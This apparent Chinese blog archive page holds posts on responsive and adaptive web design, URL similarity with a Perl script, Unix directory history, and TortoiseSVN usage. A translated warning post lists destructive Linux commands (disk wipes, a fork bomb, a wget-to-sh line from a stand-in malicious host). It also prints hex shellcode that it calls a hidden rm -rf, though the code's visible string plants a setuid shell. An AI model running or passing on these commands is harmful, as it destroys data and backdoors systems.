2014年7月

两个宜于『统一Web』的方案:响应式与自适应

1377683186626你大概早就听别人说过我们正处在『后PC时代』。那么它对于Web开发者来说意味着什么呢?它意味着你那网站的30%到50%的流量如今已经来自移动设备。意味着很快,使用台式机和笔记本访问Web的人将逐渐减少。

(那么)我们该如何在用户行为上处理这种结构性转变?我们已经逾越了用M-dot或T-dot来hack的阶段,开始步入一个由响应式与自适应设计 技术统治的时代——即W3C联盟口中的统一化Web来临。W3C议案的关键部分在于『统一化Web意味着,在合理条件下,无论用户使用什么设备,要将相同 的信息与服务传达给他们。』

对于开发者来说,那就意味着统一化Web方案要确保你的站点不仅工作在今天的智能手机和平板电脑上,也要能应付未来那遥未可知的屏幕画面。

目前有三种流行性方案来开发网站:使用响应式设计、 客户端自适应、服务器端自适应。

这三种方案难分高下,每种都有其自身的优缺点。明智的Web开发者会在实施下一个项目之前权衡各自的利弊。

响应式Web设计

响应式Web设计是最常见的统一化Web方案。它使用CSS Media Queries根据设备显示器的规格来调整网站的呈现方式。从波士顿环球报到迪斯尼站点到Indochino西服网站,响应式站点的数量正在飞速增长。

这种方案的核心优势在于设计者可以为所有设备使用同一模板,仅用CSS来定制不同大小屏幕上内容的呈现方式即可。

然而,一个良好的响应式设计没什么捷径可言。要迈向响应式,团队通常需要进行完全的站点重建。

在设计和测试阶段会非常繁琐,保证为每种可能的设备或内容定制用户体验很困难。我们都见过那样一堆看起来一点儿都不吻合的碎片拼图站点。在移动用户优先考虑的开发过程中,响应式站点设计可以与设备结合得很融洽。对于平板和手提电脑来说,(响应式设计)则更有优势

对响应式站点来说,性能也很可怕。在Mobify公司,我们近期完成了一项对15个流行的响应式电子商务站点的分析。在这些站点中,主页平均加载87个资源、1.9MB的数据量。一些响应式页面可以大到15MB。

之所以数据量这么大是因为响应式方案需考虑到所有设备。你的用户只使用一种设备,但是不得不在使用前等待所有的页面元素和资源加载才行。简单来说,性能影响你的底线。在智能手机端,当用户不得不等上一秒时,转化率会额外降低3.5%。若是达到3秒大关,57%的用户会彻底离开你的站点。

当响应式设计迅速成为普遍的标准时,也为在线电商带来了新的挑战,包括怎样处理图片、怎样优化移动端性能,并且当采用移动优先的方案时,通常意味着网站必须推倒重建。

客户端自适应

客户端自适应秉承着『为定制的设备
内容传达响应式设计用户体验』的原则。它采用JavaScript丰富站点的功能和独特性。比如,自适应站点只为Retina显示器(比如新款iPad)提供Retina质量的图片,而标准精度显示器接收低质量图片。

自适应设计有两种方案:一种是在客户端生效,在用户的浏览器上;另一种是由Web服务器负荷来检测设备类型并加载正确模板。客户端自适应类型的网站 案例包括个性T恤Threadless和奢侈品闪购ideeli。自适应模板方案的优势在于其复用HTML和JavaScript的能力,简化了项目管理 和测试的更迭。

客户端响应方案意味着你不必完全重构网站。相反你可以基于已有内容布局移动响应。对于专家级开发者而言,这种方案也可以让你针对指定设备或屏幕分辨 率。例如,对Mobify的大多在线时尚零售客户而言,95%的移动端流量来自iPhone。客户端自适应意味着他们可以专门针对苹果智能手机进行优化。

与响应式设计不同,自适应模板确保客户端设备只加载所需资源。因为对设备和特性的检测已经转移到了移动设备自身,类似Akamai和Edgecast的内容分发网络可以在不影响用户体验的情况下使用他们大部分的缓存功能。

客户端自适应比起响应式设计而言有着更高的壁垒。开发者用这项技术需要熟练掌握JavaScript,也依托于网站现有的模板为基础。最后,因为客户端自适应作为现有底层代码上的覆盖物,你需要在网站迁移时让它们作为一个整体。

服务器端自适应

依赖于服务器插件和自定义用户代理检测器我们也可以通过多种途径得到服务器端自适应方案。使用服务器端自适应的网站包括Etsy,One Kings Lane和OnlineShoes.com。

为什么要选择服务器端自适应?它通常针对每个设备提供独特的模板,允许更多的定制。并且这种方案把设备检测逻辑块放在服务器上,使得小型移动页面加载得更快。除此之外,对于像Magneto这种常见的CMS和电子商务系统来说,还有多种多样可用的服务器端插件。

这种方案不适用于小心脏——通常需要你大幅度改变后端系统,实施起来将会是冗长(和昂贵)的。管理多种模板需要有持续不断的维护成本。最后,当服务 器过载时这种方案还会带来性能问题。当服务器上加载移动用户代理检测器的时候,需要关掉许多部署在CDN上的缓存机制,像Akamai一样,这将导致移动 端和桌面访客的用户体验速率降低。

当然,许多公司仍然在跟响应的基本要领角力,显然还没有准备好面对重口味的自适应。然而,随着竞争的加剧和移动通信流量的上涨,越来越多的团队将在所有三个方法上浅尝辄止,(最终)择出一个最适合他们用户的方案。

永远不要在 Linux 执行的 10 个最危险的命令

Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正 在做什么时候。这篇文章并不打算引来你对Linux或linux 命令行的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。(译注:当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普 通用户身份下,破坏的只是自己的一亩三分地。)

08063106_Sreu

1. rm -rf 命令

rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。

  • rm 命令在Linux下通常用来删除文件。
  • rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
  • rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)
  • rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
  • rm -rf *: 强制删除当前目录的所有文件。
  • rm -rf . : 强制删除当前文件夹及其子文件夹。

从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)

2. :(){:|:&};: 命令

这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

:(){:|:&};:

哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~

3. 命令 > /dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

4. mv 文件夹 /dev/null

这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)

# mv /home/user/* /dev/null

上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

5. wget http://malicious_source -O- | sh

上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)

6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)

7. > file

上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “>xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

8. ^foo^bar

这个命令在我们十个鲜为人知的 Linux 命令 – Part 3中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)

9. dd if=/dev/random of=/dev/sda

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)

10. 隐藏命令

下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。

这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0
\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56
\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0
\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63
\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令。如果你想测试它们,请在虚拟机上运行。任何不和谐或数据丢失,由于运行上面的命令导致你的系统崩溃,文章作者和Tecmint概不负责。(译注:译者和转载网站也不负责~!)

URL相似度计算的思考

在做一些web相关的工作的时候,我们往往可能需要做一些对url的处理,其中包括对相似的url的识别和处理。这就需要计算两个url的相似度。

那么怎么进行url相似度的计算的?我首先想到的是把一个url看作是一个字符串,这样就简化成两个字符串相似度的计算。字符串相似度计算有很多已经比较成熟的算法,比如“编辑距离算法”,该算法描述了两个字符串之间转换需要的最小的编辑次数;还有一些其他的比如“最长公共字串”等方法。但这些方法对于url相似度的计算来说是不是够了呢?比如给以下三个url:

url1: www.spongeliu.com/xxx/123.html
url2: www.spongeliu.com/xxx/456.html
url3: www.spongeliu.com/xxx/abc.html

这三个url的编辑距离是一致的,但是直观上我们却认为url1和url2更加相似一些。

再比如我们要判断两个站点是否同一套建站模版建立的,抽出两个url如下这样:
url1: www.163.com/go/artical/43432.html
url2: www.sina.com.cn/go/artical/453109.html

这两个url按照情景应该是相似的,这就超出了字符串相似度判断的能力范围。

重新回到问题,要判断的是两个url的相似度,但是字符串的判断方法又不能很好应用。那么url和字符串的区别在哪里?这取决于如何定义相似的url。可以注意到,url比字符串含有更多的信息可以参考,因为url本身是包含结构和特征的,比如站点、目录。定义相似url的时候,是否要考虑站点?是否要考虑目录的一致?是否要考虑目录的深度?这取决于具体的需求。

考虑到url本身的结构,对其相似度的计算就可以抽象为对其关键特征相似度的计算。比如可以把站点抽象为一维特征,目录深度抽象为一维特征,一级目录、二级目录、尾部页面的名字也都可以抽象为一维特征。比如下面两个url:
url1:  http://www.spongeliu.com/go/happy/1234.html
url2:  http://www.spongeliu.com/snoopy/tree/abcd.html

先不定义他们是否相似,先来抽象一下他们的特征:

1、站点特征:如果两个url站点一样,则特征取值1,否则取值0;
2、目录深度特征:特征取值分别是两个url的目录深度是否一致;
3、一级目录特征:在这维特征的取值上,可以采用多种方法,比如如果一级目录名字相同则特征取1,否则取0;或者根据目录名字的编辑距离算出一个特征值; 或者根据目录名字的pattern,如是否数字、是否字母、是否字母数字穿插等。这取决于具体需求,这里示例仅仅根据目录名是否相同取1和0;
4、尾页面特征:这维特征的取值同一级目录,可以判断后缀是否相同、是否数字页、是否机器生成的随机字符串或者根据编辑长度来取值,具体也依赖于需求。这里示例仅仅判断最后一级目录的特征是否一致(比如是否都由数字组成、是否都有字母组成等)。

这样,对于这两个url就获得了4个维度的特征,分别是:1 1 0 0 。

有了这两个特征组合,就可以根据具体需求判断是否相似了。我们定义一下每个特征的重要程度,给出一个公式:

similarity = feather1 * x1 + feather2*x2 + feather3*x3 + feather4*x4;

其 中x表示对应特征的重要程度,比如我认为站点和目录都不重要,最后尾页面的特征才是最重要的,那么x1,x2,x3都可以取值为0,x4取值为 1,这样根据similarity就能得出是否相似了。或者认为站点的重要性占10%,目录深度占50%,尾页面的特征占40%,那么系数分别取值为 0.1\0.5\0\0.4即可。

其实这样找出需要的特征,可以把这个问题简化成一个机器学习的问题,只需要人为判断出一批url是否相似,用svm训练一下就可以达到机器判断的目的。

除了上面这种两个url相似度的判断,也可以将每一条url都抽象成一组特征,然后计算出一个url的得分,设置一个分数差的阈值,就可以达到从一大堆url中找出相似的url的目的。

 

下面的代码是perl编写的抽象两个url特征的脚本,这只是一个测试的脚本,难免有bug和丑陋的地方,仅供参考:

#!/usr/bin/perl
use strict;
use warnings;

my $url1 = $ARGV[0];
my $url2 = $ARGV[1];

my @array1 = split( /\//, $url1 );
my @array2 = split( /\//, $url2 );

#特征1:目录数
my $path1 = @array1;
my $path2 = @array2;

#print $path1, $path2;
#特征2:是否目录结尾
my $lastispath1 = 0;
my $lastispath2 = 0;

if( $url1 =~ /\/$/ )
{
	$lastispath1 = 1;
}
if( $url1 =~ /\/$/ )
{
	$lastispath2 = 1;
}
#特征3:最后一级是否有后缀(htm,html,shtml等)
my $len;
my $hassuffix1 = 0;
my $hassuffix2 = 0;
my $suffixstr;
my $laststr1 = $array1[$path1 - 1];
my $laststr2 = $array2[$path2 - 1];
my $issuffixsame = 0;

if( $lastispath1 == 0 )
{
	my @suffix1 = split( /\./, $array1[$path1 - 1]);
	if( @suffix1 >= 2 )
	{
		$len = rindex( $suffix1[@suffix1 - 1]."\$", "\$");
		if( $len <= 5 )
		{
			$hassuffix1 = 1;
			$suffixstr = $suffix1[@suffix1 - 1];
			my $tmplen = rindex( $array1[@array1 - 1]."\$", "\$");
			$laststr1 = substr( $array1[@array1 - 1], 0, $tmplen-$len-1 );
		}
	}
}
if( $lastispath2 == 0 )
{
	my @suffix2 = split( /\./, $array2[$path2 - 1]);
	if( @suffix2 >= 2 )
	{
		$len = rindex( $suffix2[@suffix2 - 1]."\$", "\$");
		if( $len <= 5 )
		{
			$hassuffix2 = 1;
			if($suffixstr eq $suffix2[@suffix2 - 1])
			{
				$issuffixsame = 1;
			}
			my $tmplen = rindex( $array2[@array2 - 1]."\$", "\$");
			$laststr2 = substr( $array2[@array2 - 1], 0, $tmplen-$len-1 );
		}
	}
}

#特征3:最后一级几个分隔符(通过特征匹配计算laststr1和laststr2相似度,如果仅计算字符串相似度,可以用编辑长度)
my @area1 = split(/-/, $laststr1);
my @area2 = split(/-/, $laststr2);
my $i;
my $j;
my $totalarea1=0;
my $totalarea2=0;
my @patternarray1={0};
my @patternarray2={0};
my @splitarray1={0};
my @splitarray2={0};
#my $numarea1 = @area2;

#print $laststr1," ",$laststr2,"\n",$numarea1,"\n";
for ( $i = 1; $i<=@area1; $i++ )
{
	my @tmp1 = split( /_/, $area1[$i-1]);

	for( $j = 0; $j<@tmp1; $j++)
	{
		if( $tmp1[$j] =~ /^\d+$/ )	
		{
			$patternarray1[$totalarea1] = 1; #数字pattern
		}
		elsif( $tmp1[$j] =~ /^[a-zA-Z]+$/)
		{
			$patternarray1[$totalarea1] = 2; #纯字母pattern
		}
		elsif( $tmp1[$j] =~ /^[a-zA-Z]+[0-9]+$/)
		{
			$patternarray1[$totalarea1] = 3; #先字母后数字pattern
		}
		elsif( $tmp1[$j] =~ /^[0-9]+[a-zA-Z]+$/)
		{
			$patternarray1[$totalarea1] = 4; #先数字后字母pattern
		}
		else 
		{
			$patternarray1[$totalarea1] = 5; #其他pattern
		}

		if( $j == 0 )
		{
			$splitarray1[$totalarea1]=1;
		}
		else
		{
			$splitarray1[$totalarea1]=2;
		}
		$totalarea1 ++;

	}	
}

for ( $i = 1; $i<=@area2; $i++ )
{
	my @tmp2 = split( /_/, $area2[$i-1]);
	for( $j = 0; $j<@tmp2; $j++)
	{
		if( $tmp2[$j] =~ /^\d+$/ )	
		{
			$patternarray2[$totalarea2] = 1; #数字pattern
		}
		elsif( $tmp2[$j] =~ /^[a-zA-Z]+$/)
		{
			$patternarray2[$totalarea2] = 2; #纯字母pattern
		}
		elsif( $tmp2[$j] =~ /^[a-zA-Z]+[0-9]+$/)
		{
			$patternarray2[$totalarea2] = 3; #先字母后数字pattern
		}
		elsif( $tmp2[$j] =~ /^[0-9]+[a-zA-Z]+$/)
		{
			$patternarray2[$totalarea2] = 4; #先数字后字母pattern
		}
		else 
		{
			$patternarray2[$totalarea2] = 5; #其他pattern
		}

		if( $j == 0 )
		{
			$splitarray2[$totalarea2]=1;
		}
		else
		{
			$splitarray2[$totalarea2]=2;
		}
		$totalarea2 ++;

	}	
}

print $path1," ",$lastispath1," ",$hassuffix1," ",$issuffixsame," ",$totalarea1;
for( $i = 0; $i<$totalarea1; $i++)
{
	print " ",$splitarray1[$i]," ",$patternarray1[$i];
}
print "\n";
print $path2," ",$lastispath2," ",$hassuffix1," ",$issuffixsame," ",$totalarea2;
for( $i = 0; $i<$totalarea2; $i++)
{
	print " ",$splitarray2[$i]," ",$patternarray2[$i];
}

print "\n";
#print @array1;

 

Unix目录结构的来历

Unix(包含Linux)的初学者,常常会很困惑,不明白目录结构的含义何在。

bg2012020601

举例来说,根目录下面有一个子目录/bin,用于存放二进制程序。但是,/usr子目录下面还有/usr/bin,以及/usr/local/bin,也用于存放二进制程序;某些系统甚至还有/opt/bin。它们有何区别?

长久以来,我也感到很费解,不明白为什么这样设计。像大多数人一样,我只是根据《Unix文件系统结构标准》(Filesystem Hierarchy Standard),死记硬背不同目录的区别。

昨天,我读到了Rob Landley的简短解释,这才恍然大悟,原来Unix目录结构是历史造成的。

话说1969年,Ken ThompsonDennis Ritchie在小型机PDP-7上发明了Unix。1971年,他们将主机升级到了PDP-11。

bg2012020602当时,他们使用一种叫做RK05的储存盘,一盘的容量大约是1.5MB。

bg2012020603

没过多久,操作系统(根目录)变得越来越大,一块盘已经装不下了。于是,他们加上了第二盘RK05,并且规定第一块盘专门放系统程序,第二块盘专门 放用户自己的程序,因此挂载的目录点取名为/usr。也就是说,根目录"/"挂载在第一块盘,"/usr"目录挂载在第二块盘。除此之外,两块盘的目录结 构完全相同,第一块盘的目录(/bin, /sbin, /lib, /tmp...)都在/usr目录下重新出现一次。

后来,第二块盘也满了,他们只好又加了第三盘RK05,挂载的目录点取名为/home,并且规定/usr用于存放用户的程序,/home用于存放用户的数据。

从此,这种目录结构就延续了下来。随着硬盘容量越来越大,各个目录的含义进一步得到明确。

/:存放系统程序,也就是At&t开发的Unix程序。

/usr:存放Unix系统商(比如IBM和HP)开发的程序。

/usr/local:存放用户自己安装的程序。

/opt:在某些系统,用于存放第三方厂商开发的程序,所以取名为option,意为"选装"。

(完)

SVN使用方法

问题一:Revert changes from this revision 跟Revert to this

譬如有个文件,有十个版本,假定版本号是1,2,3,4,5,6,7,8,9,10。
(1)Revert to this revision: 如果是在版本6这里点击“Revert to this revision”,表示7~10的修改全部作废,历史倒退到了版本6那个年代。
(2)Revert changes from this revision:如果是在版本6这里点击“Revert changes from this revision”,表示版本6这个历史事件被抹杀了,只剩下除版本6外的9个历史事件了。
如果俺是同时选择了6,7,8三个历史时期并点击“Revert changes from this revision”,表示抹杀6~8这仨历史时期。
同理,如果同时选择7~10,然后点击“Revert changes from this revision”,则效果跟在版本6这里点击“Revert to this revision”是一样的。
TortoiseSVN是windows下其中一个非常优秀的SVN客户端工具。通过使用它,我们可以可视化的管理我们的版本库。不过由于它只是一个客户端,所以它不能对版本库进行权限管理。
TortoiseSVN不是一个独立的窗口程序,而是集成在windows右键菜单中,使用起来比较方便。
01、SVN Checkout(SVN取出)
点击SVN Checkout,弹出检出提示框,在URL of repository输入框中输入服务器仓库地址,在Checkout directory输入框中输入本地工作拷贝的路径,点击确定,即可检出服务器上的配置库。
02、SVN Update(SVN更新)
如果配置库在本地已有工作拷贝,则取得最新版本只是执行SVN Update即可,点击SVN Update,系统弹出更新提示框,点击确定,则把服务器是最新版本更新下来
03、Import(导入)
选择要提交到服务器的目录,右键选择TortoiseSVN----Import,系统弹出导入提示框,在URL of repository输入框中输入服务器仓库地址,在Import Message输入框中输入导入日志信息,点击确定,则文件导入到服务器仓库中。
04、Add(加入)
如果有多个文件及文件夹要提交到服务器,我们可以先把这些要提交的文件加入到提交列表中,要执行提交操作,一次性把所有文件提交,如图,可以选择要提交的文件,然后点击执行提交(SVN Commit),即可把所有文件一次性提交到服务器上
05、Resolving Conflicts(解决冲突)
有时你从档案库更新文件会有冲突。冲突产生于两人都修改文件的某一部分。解决冲突只能靠人而不是机器。当产生冲突时,你应该打开冲突的文件,查找以<<<<<<<开始的行。冲突部分被标记:
<<<<<<< filename
your changes
=======
code merged from repository
>>>>>>> revision
Subversion为每个冲突文件产生三个附加文件:
filename.ext.mine
更新前的本地文件。
filename.ext.rOLDREV
你作改动的基础版本。
filename.ext.rNEWREV
更新时从档案库得到的最新版本。
使 用快捷菜单的编辑冲突Edit Conflict命令来解决冲突。然后从快捷菜单中执行已解决Resolved命令,将改动送交到档案库。请注意,解决命令并不解决冲突,而仅仅是删除 filename.ext.mineandfilename.ext.r*文件并允许你送交。
06、Check for Modifications(检查更新)
点击Check for Modifications,系统列表所以待更新的文件及文件夹的状态.
07、Revision Graph(版本分支图)
查看文件的分支,版本结构,可以点击Revision Graph,系统以图形化形式显示版本分支.
08、Rename(改名)
SVN支持文件改名,点击Rename,弹出文件名称输入框,输入新的文件名称,点击确定,再把修改提交,即可完成文件改名
09、Delete(删除)
SVN支持文件删除,而且操作简单,方便,选择要删除的文件,点击Delete,再把删除操作提交到服务器
10、Moving(移动)
选择待移动的文件和文件夹;按住右键拖动right-drag文件(夹)到跟踪拷贝内的新地方;松开左键;在弹出菜单中选择move files in Subversion to here
11、Revert(还原)
还原操作,如刚才对文件做了删除操作,现在把它还原回来,点击删除后,再点击提交,会出现如上的提示框,点击删除后,再点击Revert,即已撤销删除操作,如果这时候点击提交,则系统弹出提示框:没有文件被修改或增加,不能提交
12、Branch/Tag(分支/标记)
当需要创建分支,点击Branch/Tag,在弹出的提示框中,输入分支文件名,输入日志信息,点击确定,分支创建成功,然后可查看文件的版本分支情况
13、Switch(切换)
文件创建分支后,你可以选择在主干工作,还是在分支工作,这时候你可以通过Switch来切换。
14、Merge(合并)
主干和分支的版本进行合并,在源和目的各输入文件的路径,版本号,点击确定。系统即对文件进行合并,如果存在冲突,请参考冲突解决。
15、Export(导出)
把整个工作拷贝导出到本地目录下,导出的文件将不带svn文件标志,文件及文件夹没有绿色的”√”符号标志。
16、Relocate(重新定位)
当服务器上的文件库目录已经改变,我们可以把工作拷贝重新定位,在To URL输入框中输入新的地址
17、Add to Ignore List(添加到忽略列表)
大多数项目会有一些文件(夹)不需要版本控制,如编译产生的*.obj, *.lst,等。每次送交,TortoiseSVN提示那些文件不需要控制,挺烦的。这时候可以把这些文件加入忽略列表。
18、SVN其它相关功能
客户端修改用户密码:
打开浏览器,在地址栏内输入http://192.168.1.250/cgi-bin/ChangePasswd,启动客户端修改用户密码的界面,输入正确的用户名,旧密码,新密码(注意密码的位数应该不小于6,尽量使用安全的密码),点击修改即可.
19、SVN Commit(版本提交)
把自己工作拷贝所做的修改提交到版本库中,这样别人在获取最新版本(Update)的时候就可以看到你的修改了。
20、Show log(显示日志)
显示当前文件(夹)的所有修改历史。SVN支持文件以及文件夹独立的版本追溯。
21、Repo-Browser(查看当前版本库)
查看当前版本库,这是TortoiseSVN查看版本库的入口,通过这个菜单项,我们就可以进入配置库的资源管理器,然后就可以对配置库的文件夹进行各种管理,相当于我们打开我的电脑进行文件管理一样。
22、Revision Graph(版本图形)
查看当前项目或文件的修订历史图示。如果项目比较大型的话,一般会建多个分支,并且多个里程碑(稳定版本发布),通过这里,我们就可以看到项目的全貌。
23、Resolved(解决冲突)
如果当前工作拷贝和版本库上的有冲突,不能自动合并到一起,那么当你提交修改的时 候,tortoisesvn就会提示你存在冲突,这时候你就可以通过这个菜单项来解决冲突。冲突的解决有两种,一种是保留某一份拷贝,例如使用配置库覆盖 当前工作拷贝,或者反过来。还有一种是手动解决冲突,对于文本文件,可以使用tortoiseSVN自带的工具,它会列出存在冲突的地方,然后你就可以和 提交者讨论怎么解决这个冲突。同时它也对Word有很好的支持
24、Update to Revision(更新至版本)
从版本库中获取某一个历史版本。这个功能主要是方便查看历史版本用,而 不是回滚版本。注意:获取下来之后,对这个文件不建议进行任何操作。如果你做了修改,那么当你提交的时候SVN会提示你,当前版本已失效(即不是最新版 本),无法提交,需要先update一下。这样你所做的修改也就白费了。
25、Revert(回滚)
如果你对工作拷贝做了一些修改,但是你又不想要了,那么你可以使用这个选项把所做的修改撤销
26、Cleanup(清除状态)
如果当前工作拷贝有任何问题的话,可以使用这个选项进行修正。例如,有些文件原来是版本控制的, 但是你没有通过tortoiseSVN就直接删除了,但是tortoiseSVN还是保留着原来的信息(每个文件夹下都有一个.svn的隐藏文件夹,存放 着当前文件夹下所有文件夹的版本信息)所以这就会产生一些冲突。可以使用cleanup来清理一下。
27、GetLock/ReleaseLock(加锁/解锁)
如果你不想别人修改某个文件的话,那么你就可以把这个文件进行加锁,这样可以保证只有你对这个文件有修改权。除非你释放了锁,否则别人不可能提交任何修改到配置库中
28、Branch/tag(分支/标签)
Branch是分支的意思。例如当在设计一个东西的时候,不同的人有不同的实现,但是没有经过实践检验,谁也不想直接覆盖掉其他人的设计,所以可以引出不同的分支。将来如果需要,可以将这些分支进行合并。
tag是打标签的意思。通常当项目开发到一定程度,已经可以稳定运行的时候,可以对其打上一个标签,作为稳定版。将来可以方便的找到某个特定的版本(当然我们也可以使用版本号来查找,但是数字毕竟不方便)
SVN对于分支和标签都是采用类似Linux下硬链接的方式(同一个文件可以存在两个地方,删除一个不会影响另一个,所做修改会影响另一个),来管理文件的,而不是简单的复制一份文件的拷贝,所以不会有浪费存储空间的问题存在。
29、Export(导出)
这个功能是方便我们部署用。当我们需要发布一个稳定版本时,就可以使用这个功能将整个工程导出到某个文件夹,新的文件夹将不会包含任何版本信息了。
30、Relocate(版本库转移)
当我们版本库发生转移的时候就需要用到这个功能了。例如我原先的版本库是建在U盘上的,现在转移到(复制整个配置库文件夹)开发服务器上,使用https代替文件系统的访问。因此就需要将原来的工作拷贝的目标版本库重新定位到开发服务器上。
31、create patch(创建补丁)
创建补丁。如果管理员不想让任何人都随便提交修改,而是都要经过审核才能做出修改,那么其他人就可以通过创建补丁的方式,把修改信息(补丁文件)发送给管理员,管理员审核通过之后就可以使用apply patch提交这次修改了。

32、diff (比较修改部分)
如果你修改了一个文件,又不确定改了那些地方,这时你可以在相应文件上点右键,选择diff查看,与服务器上最新版的差异